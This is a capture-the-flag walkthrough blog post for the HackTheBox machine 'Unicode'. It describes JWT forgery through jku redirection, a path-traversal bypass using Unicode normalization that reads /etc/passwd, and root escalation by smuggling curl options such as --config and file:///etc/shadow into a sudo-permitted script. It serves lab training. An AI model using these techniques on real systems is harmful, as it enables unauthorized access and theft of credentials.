Posted onEdited onInHackTheBox walkthroughViews: Word count in article: 4.1kReading time ≈15 mins.
introduce
OS: Linux Difficulty: Medium Points: 30 Release: 27 Nov 2021 IP: 10.10.11.126
Enumeration
NMAP
1 2 3 4 5 6
┌──(root💀kali)-[~/hackthebox/machine/unicode] └─# nmap -sV -v -p- --min-rate=10000 10.10.11.126 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap reveals only two open ports on the target. HTTP is running on Nginx. Let’s look into HTTP.
Web page has login and register links. Upon hovering ‘google about us’, we’d see a redirect link.
1
GET /redirect/?url=google.com HTTP/1.1
Let’s create a new account and login.
After login we’d see below dashboard.
It has three more links, upload, buy now and logout. the first two links did not lead to anywhere. Server is using JWT as cookies.
We got the decoded data. The interesting part of this data is, ‘JKU’.
1
The "jku" (Json Web Key Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS (JSON Web Signature).
This JKU is pointing to a domain, add that domain to hosts file and read the file.
The below links will help us to understand JWT, JWK and JKU.
JSON Web Tokens (JWT) Demystified
JSON Web Key (JWK) draft-jones-json-web-key-03
Based on the above blogs, below is the normal working process.
We need to redirect the JKU header request to our server.
The above representation is what we need to achieve. To do that, first we need to generate RSA key pair. For that we can use any one of the below tools.
mkjwk simple JSON Web Key generator
jwt_tool
I will use online generator for this demo. Select below options and generate the random RSA key pair.
After generating, you will see private and public keys just like below.
Now we have generated the keys, it’s time to use these keys to craft the JSON Web Tokens. To do that we have to use default JWT and edit it accordingly.
The above is default JWT, taken from cookies after login. Now we need to edit three things.
JKU value
User Value: change it to admin
Public and Private Keys: add respective keys previously generated from online site.
Below is the final draft of JWT.
As you can see the difference between default ‘JKU’ value and crafted one, it is different. The objective is to redirect it to our server, if we just add our IP as JKU address it will not work, as ‘hackmedia’ is only one in the allow list and it gives us an error ‘JKU validation failed’. The validation check is up to ‘http://hackmedia.htb/static/‘. We have to change /add after that. So, as we already know it is an NginX server, we can take advantage of ‘off-by-slash’ bug and take advantage of going one step back in the directory and use ‘redirect’ endpoint.
1
http://hackmedia.com/redirect/?url=google.com
We already know it exists, so we just need to access it and redirect it to our Kali Machine. On Kali machine we set up a crafted ‘jwks.json’ file. Let’s craft the ‘jwks.json’ file.
The above is edited and replaced it with RSA n value which we have generated. Once you edit that, start a HTTP sever where that file is present. Everything is set, now the only thing is to copy the encoded JWT from the online website.
I am using Firefox add-on called ‘cookie editor’ to replace cookies easily. Save it and refresh the page.
We got the admin dashboard access. If you click on any of the saved reports, it will display you below message.
As you can see from address bar, it is fetching that pdf file from different location. There’s a possibility of path traversal attack. Let’s try to read any local file.
1
../../../../etc/passwd
It is filtering our inputs, we need to bypass it. To bypass that we have to use ‘unicode’ characters. Below blog explains how to use it and it’s impact.
None of these files are useful for our cause. They don’t have any information which can help us to gain shell access. However, we know that NginX is running on the machine, we can guess the path of configuration file.
server{ #Change the Webroot from /home/code/coder/ to /var/www/html/ #change the user password from db.yaml listen 80; location / { proxy_pass http://localhost:8000; include /etc/nginx/proxy_params; proxy_redirect off; } location /static/{ alias /home/code/coder/static/styles/; }
}
One of the file gives us this above information about password change for the user and it has already given the path of the file too. Let’s read it.
┌──(root💀kali)-[~/hackthebox/machine/unicode] └─# ssh code@10.10.11.126 The authenticity of host '10.10.11.126 (10.10.11.126)' can't be established. ED25519 key fingerprint is SHA256:SnMpKuOJvoXQsmvAqpabXWgEhnhEAkNeEnQ/zKJnmJs. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.126' (ED25519) to the list of known hosts. code@10.10.11.126's password: Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
8 updates can be applied immediately. 8 of these updates are standard security updates. To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Mon Nov 29 14:14:14 2021 from 10.10.14.23 code@code:~$ id uid=1000(code) gid=1000(code) groups=1000(code) code@code:~$ whoami code code@code:~$ cat user.txt c44ed9130688a2816ef0bbcd5d561f19
privesclation
1 2 3 4 5 6 7
code@code:~$ sudo -l Matching Defaults entries for code on code: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code: (root) NOPASSWD: /usr/bin/treport
We have permission to run the binary file with root’s privileges. Let’s look into it.
1 2 3 4 5 6 7 8 9 10 11 12 13
code@code:~$ sudo /usr/bin/treport 1.Create Threat Report. 2.Read Threat Report. 3.Download A Threat Report. 4.Quit. Enter your choice:1 Enter the filename:test Enter the report:test Traceback (most recent call last): File "treport.py", line 74, in <module> File "treport.py", line 13, in create FileNotFoundError: [Errno 2] No such file or directory: '/root/reports/test' [5308] Failed to execute script 'treport' due to unhandled exception!
Upon executing this binary, it gives us four options to choose. If we choose option one, then ultimately it gives us this above error. Looks like it is a binary file compiled with python.
pyinstxtractor
Using above code we can extract python script from a binary.
┌──(root💀kali)-[~/hackthebox/machine/unicode] └─# scp code@10.10.11.126:/usr/bin/treport . code@10.10.11.126's password: treport 100% 6690KB 80.7KB/s 01:22 ┌──(root💀kali)-[~/hackthebox/machine/unicode] └─# python pyinstxtractor.py treport [+] Processing treport [+] Pyinstaller version: 2.1+ [+] Python version: 38 [+] Length of package: 6798297 bytes [+] Found 46 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgutil.pyc [+] Possible entry point: pyi_rth_multiprocessing.pyc [+] Possible entry point: pyi_rth_inspect.pyc [+] Possible entry point: treport.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python38 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: treport You can now use a python decompiler on the pyc files within the extracted directory ┌──(root💀kali)-[~/hackthebox/machine/unicode] └─# ls jwks.json pyinstxtractor.py treport treport_extracted
It extracted the python files and saved it in a directory.
It has a lot of file, we have byte-compiled file. We can’t just read like normal files. We need to disassemble and decompile to read the contents.
pycdc
We will use this above project to do that. We could have used ‘uncompyle6’ but it only supports python version up to 3.8. This byte-compiled file is created with python version 3.9. Clone the project and we need to compile it.
┌──(root💀kali)-[~/hackthebox/machine/unicode/treport_extracted] └─# /root/pycdc/pycdc treport.pyc # Source Generated with Decompyle++ # File: treport.pyc (Python 3.9) Unsupported opcode: <255> import os import sys from datetime import datetime import re
class threat_report: def create(self): Unsupported opcode: <255> file_name = input('Enter the filename:') content = input('Enter the report:') if'../'in file_name: print('NOT ALLOWED') sys.exit(0) file_path = '/root/reports/' + file_name # WARNING: Decompyle incomplete def list_files(self): file_list = os.listdir('/root/reports/') files_in_dir = ' '.join((lambda .0: [ str(elem) for elem in .0 ])(file_list)) print('ALL THE THREAT REPORTS:') print(files_in_dir) def read_file(self): Unsupported opcode: <255> file_name = input('\nEnter the filename:') if'../'in file_name: print('NOT ALLOWED') sys.exit(0) contents = '' file_name = '/root/reports/' + file_name # WARNING: Decompyle incomplete def download(self): now = datetime.now() current_time = now.strftime('%H_%M_%S') command_injection_list = [ '$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')'] ip = input('Enter the IP/file_name:') res = bool(re.search('\\s', ip)) if res: print('INVALID IP') sys.exit(0) if'file'in ip and 'gopher'in ip or 'mysql'in ip: print('INVALID URL') sys.exit(0) cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"' current_time + '"' os.system(cmd)
Looking at the code, we can see a command is being called to download reports. It is using curl command to do that. It has also filter in place to protect from injection attacks. We can’t possibly run bash commands to gain shell, we have to use curl flags or switches to read either root flag or SSH private keys.
1 2 3 4 5 6 7 8 9 10 11
code@code:~$ sudo /usr/bin/treport 1.Create Threat Report. 2.Read Threat Report. 3.Download A Threat Report. 4.Quit. Enter your choice:3 Enter the IP/file_name:{--config,/root/root.txt} Warning: /root/root.txt:1: warning: '83073a2469b47c0e6c08b421a6aa8539' is Warning: unknown curl: no URL specified! curl: try 'curl --help' or 'curl --manual'for more information
or
1 2 3 4 5 6 7
Enter your choice:3 Enter the IP/file_name:{-K,/root/root.txt} Warning: /root/root.txt:1: warning: '83073a2469b47c0e6c08b421a6aa8539' is Warning: unknown curl: no URL specified! curl: try 'curl --help' or 'curl --manual'for more information Enter your choice:
or use the following to get root flag and /etc/shadow together…
code@code:~$ cd $(mktemp --directory) code@code:/tmp/tmp.cg0X17Nhmm$ touch -- 127.0.0.1 --silent --create-dirs code@code:/tmp/tmp.cg0X17Nhmm$ sudo /usr/bin/treport 1.Create Threat Report. 2.Read Threat Report. 3.Download A Threat Report. 4.Quit. Enter your choice:3 Enter the IP/file_name:* Enter your choice:3 Enter the IP/file_name:File:///root/root.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 33 100 33 0 0 33000 0 --:--:-- --:--:-- --:--:-- 33000
Enter your choice:3 Enter the IP/file_name:File:///etc/shadow % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1183 100 1183 0 0 1155k 0 --:--:-- --:--:-- --:--:-- 1155k Enter your choice:2 ALL THE THREAT REPORTS: threat_report_15_45_38 threat_report_15_44_36 threat_report_15_44_56
Enter your choice:2 ALL THE THREAT REPORTS: threat_report_15_45_38 threat_report_15_44_36 threat_report_15_44_56
Enter the filename:threat_report_15_44_56 83073a2469b47c0e6c08b421a6aa8539
As you can see from the command injection list ‘curly brackets’ are not being filtered, we take advantage of that to pass curl config switch to expose root flag.This curl switch actually can’t read the files, but the functionality of that is, if the text file is not in curl Standard format then it just prints out all the content of that given file. I got SSH private keys, but the SSH configuration only accepts password for authentication, not keys.
Summary of knowledge
jwt token forge by using https://jwt.io and https://mkjwk.org/
off-by-slash bug redirect to our local machine
file read bypass by using Unicode normalization
fuzzing file read arg to get db.yaml file content
using pycdc to decompile .pyc file to readable file
command injection list words bypass
privesc through /usr/bin/treport by using curl command injection attacks
Contact me
QQ: 1185151867
twitter: https://twitter.com/fdlucifer11
github: https://github.com/FDlucifer
I’m lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more…